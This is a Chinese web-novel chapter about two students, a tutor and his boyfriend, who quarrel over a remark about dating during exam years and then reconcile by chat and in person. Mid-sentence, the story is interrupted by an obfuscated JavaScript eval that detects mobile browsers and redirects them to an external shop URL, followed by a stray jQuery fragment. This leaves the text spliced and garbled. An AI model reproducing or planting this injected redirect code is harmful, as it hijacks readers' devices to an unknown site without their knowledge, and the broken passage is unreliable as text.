吃过午饭分开，林煜凡开车回家里休息。
下午两点才要开始下一场补习，眼下才十二点半，赶过去还要十几分钟，时间尚有余裕。他一回到家，便将外套脱下搭在沙发扶手上，整个人沉沉躺倒下去。
屋内静悄悄的，冬日正午的阳光透过薄纱窗帘漫进来，脑海里不受控制地回想餐馆里的片段。
那句随口而出的假设，像一粒小石子投进平静湖面，在苏砛言那里漾开一圈又一圈慌乱的涟漪。
他本意只是觉得小朋友的话讲的挺有道理，而生出一点感慨。
学生时代的感情，本来就横亘着许多现实的边界，这个年纪本该背负的课业，一桩桩一件件，都摆在明处。他只是客观地想一想。
林煜凡闭着眼，几不可察地轻轻吐了一口气。
手机搁在沙发一旁，屏幕亮了一下。
是苏砛言发来的消息，没有长篇大论。
【yan：到家了吗，好好休息】
林煜凡侧过身，指尖碰到冰凉的机身。他没有立刻回复，就那么躺着，听窗外远处街道传来零星的喧闹。
道理他都懂，就像小朋友口中所说，念书的年纪，应当以学业为重。可心动这件事从不是一道可以直接套用公式的习题，没有标准答案。
过了片刻，他才拿起手机，指尖在屏幕上敲出一行字。
【L：到家了，我会注意】
发送完毕，他把手机调成静音放到茶几，闭上眼睛短暂小憩。距离下午出门，尚有一小段可以喘息的时光。
另一边，苏砛言躺在床上看着手机沉思，他不理解为什么林煜凡会说出这种话。
房间里拉着半幅窗帘，冬日的日光被滤得柔和，落在床沿。他把手机摊在胸口，屏幕暗下去，映出一点模糊的光影。
“烦死了，他怎么能说出这种话！”苏砛言躺在床上反思。
他翻了个身，侧脸埋进枕头里，胸腔里闷闷的，堵得人喘不过气。
从小到大，他向来是没心没肺的性子，天大的事转头就能释怀，唯独碰上林煜凡，一丁点风吹草动，都能在他心里翻起滔天巨浪。
他当然知道读书重要，也清楚他们身处最该全力以赴备考的年纪。
“别人早恋会影响学习，可我们又不一样。”苏砛言像是在说服自己，又像是在隔空跟林煜凡较真，“我从来没有因为喜欢你荒废过学业，反而因为想跟上你的脚步，一直在努力变好。”
——
林煜凡被一阵铃声吵醒，补课时间要到了。
他从沙发上坐起来，快速洗漱就拿着书包下楼。
十几分钟的路程转瞬即逝。
车子稳稳停在区楼下，林煜凡停好车，拎起书包，抬步走进单元楼。电梯上升的过程里，他终于抬手摸出手机。
手机里显示着苏砛言不知道什么时候发的消息。
林煜凡顺手点进去看。
【yan：(′へ`、)】
【yan：你在休息嘛(′へ`、)】
【yan：算了你好好休息吧】
……
林煜凡刚打算把手机收进口袋，又来消息了。
【yan：去上课了嘛?(ˊ〇ˋ*)?~】
【yan：我好无聊在想你】
林煜凡笑了一下，人怎么能这么幼稚！
【L：准备去啦】
【L：怎么了】
对方回复。
【yan：没，你好好上课吧】
……
电梯“叮”地一声轻响，抵达楼层。
林煜凡锁屏收起手机，敛去眼底浅淡的笑意，抬步走出电梯。
下午的补习对象是个安静内敛的初三女生。性子沉稳话少，听课专注，全程安安静静记笔记，没有小孩子天马行空的碎碎念。
屋里只有笔尖落纸的沙沙轻响，和林煜凡低缓平和的讲题声。
林煜凡沉下心讲课，逐条拆解压轴题型，梳理解题框架，耐心纠正她反复出错的步骤。
时间在这种安稳、单调又规整的节奏里缓缓流淌。
中途休息的空档，房间骤然静下来。
四下无声，心底空出来的那点缝隙，又自然而然想起苏砛言。
掏出手机给他发消息。
【L：？】
消息发出去，对话框安安静静，没有预想里立刻弹出的“对方正在输入”。
屏幕亮了片刻，便自动暗了下去。
林煜凡握着手机坐了一会儿，没有等来回复。生气了吗…
中午那点客观又冷静的感慨，此刻回头再看，未免太过刻薄。
他清清楚楚知道少年时代的学业重任，所以才随口提起假设。可苏砛言不一样，苏砛言的喜欢从来不在规矩里。
没有等到回复，他便把手机调回静音收进口袋，压下所有纷乱心绪。
林煜凡决定先上课，剩下的等结束了他在好好和苏砛言谈谈。
短暂的休息结束，补习继续。
时间在无声的刷题与复盘里静静流逝。
冬日夜昼短，不过两小时光景，窗外的天色就悄悄暗了下来。浅灰的暮色漫过楼宇，笼罩整座小城，街边的路灯次第亮起，晕开一圈圈温柔的光晕。
最后一道错题订正完毕，知识点全部梳理收尾。
林煜凡帮她把试卷逐一整理整齐，轻声叮嘱了下周需要巩固的重难点，收拾好自己的书本习题。
辞别家长，他走出单元楼。
晚风扑面而来，带着初冬傍晚清冽的凉意，吹散了一下午伏案的沉静。街道上人声松弛，拼凑出周末悠闲的烟火气息。
他站在电动车旁，抬手解锁手机。
那条自己发的消息还安安静静悬在聊天记录之中，依旧没有答复。
林煜凡指尖悬在屏幕上，轻轻抿了下唇，主动敲了过去。
【L：下课了】
消息发送成功。
这一次，对话框顶端同样没有立刻跳出输入提示。
他干脆就坐上电动车，几分钟就这么慢慢淌过去，对面还是没有回复的意思。
过了许久，屏幕才终于跳动了一下。
【yan：知道了】
林煜凡看着那简短的回复，低低呼出一口气，气息消散在微凉的空气里。
指尖慢慢敲下一行。
【L：怎么隔这么久才回】
又停顿一小会儿，那边的消息才姗姗来迟。
【yan：刚看见】
敷衍得潦草。
【L：明明在线，故意不回我？】
【L：你还在因为中午的事吗】
这次等待的时间短了些许，大概隔了两三分钟，对话框才慢悠悠弹出一条消息，字里行间全是硬邦邦的。
【yan：没】
【yan：我怎么敢生气】
怎么还阴阳怪气上了……
林煜凡握着手机，望着眼前车水马龙的傍晚街巷，认真敲字，一字一句，褪去了所有敷衍和随意。
【L：是我不对】
【L：中午不该乱说话】
屏幕那头沉默了更久。
就在林煜凡打算直接去他家里找他的时候，对方的消息终于姗姗而来。
【yan：你说的是实话而已啊】
【yan：学生本来就该好好读书，不该谈恋爱】
字字都是中午他说过的道理，如今被苏砛言原封不动地还回来，带着淡淡的自嘲，听得人心头发涩。
【L：……】
【L：你别生气，我就说说嘛】
这一次，屏幕顶端的输入提示几乎立刻跳了出来，反反复复，闪了又停。
良久，一条短短的消息弹了出来，带着少年人最执拗也最纯粹的底线。
【yan：我知道啊】
【yan：我也是说说而已】
林煜凡不再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830080|210790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回复，直接锁屏收进兜里，跨上电动车拧动油门。
抵达苏砛言小区楼下，他停好车，抬手熟练地敲开微信对话框。
【L：下楼】
这次消息发出去，没有漫长的等待。
几乎是两分钟不到，屏幕顶端立刻跳出对方反复跳动的输入状态。
又过了半分钟。
【yan：干嘛】
依旧是硬邦邦的语气，可明显已经绷不住了。
林煜凡垂眸看着屏幕。
【L：我在你家楼下】
没过多久，单元楼的门禁“咔哒”一声轻响。
少年穿着宽松的黑色卫衣，帽子没戴，额发微乱，双手揣在口袋里，慢吞吞走出来。
林煜凡主动走上前。
少年身上熟悉的气息扑面而来。
“还在生气吗？”林煜凡站在苏砛言面前。
苏砛言低头看他：“我没气！”
“嗯，没气。”林煜凡顺着他的话，顺势往前又走近半步，彻底缩短了两人之间的距离，“是我气人。”
苏砛言别开脸，不肯看他：“你本来也没错。道理都是对的。”
晚风轻轻掠过两人之间，安静得只剩呼吸声。
“读书是我的本分。”林煜凡，“但喜欢你，不是错误。”
紧绷了整整一下午的心弦，在这一刻，骤然松动。
苏砛言依旧不肯转头，声音闷闷的，带着一点隐忍的鼻音：
“那你中午还说！”
“随口说的嘛。”林煜凡试探的问，“你是不是哭了啊？”
“我没有哭！”苏砛言终于忍不住回头看他。
他抬手，动作很轻，指腹轻轻蹭过苏砛言泛红的眼尾。
“好好好，没哭。”林煜凡笑着说，“是我看错了。”
苏砛言被他突如其来的触碰弄得一僵，耳尖唰地一下烧红，下意识往后缩了缩，却又舍不得退太远，就那么僵持着，别扭地站在原地。
“本来就是你乱说话。”他小声控诉，“我好担心你真的分手。”
林煜凡安静听着，没有打断。
“你说句话嘛！”苏砛言戳戳林煜凡的脸。
“我在听。”
苏砛言的手还悬在半空中，指尖微微蜷起。憋了整整一个下午的惶恐，此刻尽数翻涌上来，他嘴上依旧带着点不服气的劲儿，眼底却藏不住忐忑。
苏砛言抿紧嘴唇，睫毛轻轻颤动，一言不发地盯着他。
“那天只是看见小朋友的想法，一时生出的感慨而已。”林煜凡继续开口，“是我不好，没有考虑你的感受，拿这种假设去试探。以后不会再有第二次。”
小区远处偶尔传来行人说笑的动静，近处只有晚风穿过树枝的轻响。
苏砛言站在原地，心里那块悬了许久的石头慢慢往下落，可心里那点小别扭还没有完全散去。
他往旁边挪了半步，错开林煜凡的视线，嘟囔道：“说得好听，谁知道你下次会不会又冒出这种念头。”
林煜凡见状，伸手捞过他揣在卫衣口袋里的手腕。少年的手冰凉，被他稳稳握在掌心。
苏砛言把人轻轻拉近，两人之间只剩下咫尺的距离。
“不会的啦！”
“嗯……”
苏砛言任由他握着自己的手，不再躲闪，只是小声补了一句：“天挺冷的，凡凡你骑电动车过来，手不冻吗。”
林煜凡捏了捏他的手腕：“还好。”
苏砛言看了看时间。
“要不要上来坐一会，我家里没人。”
“不用啦，我要回家啦！”林煜凡指指电动车。
“你真要走啊？”苏砛言下意识小声追问，语气里藏不住的落空，尾音轻轻耷拉着，“就坐一小会儿也不行吗。”
“嗯，我要回家吃饭啦！”
“好吧！”
苏砛言看着林煜凡坐上车，目送他回去，知道身影融入月色。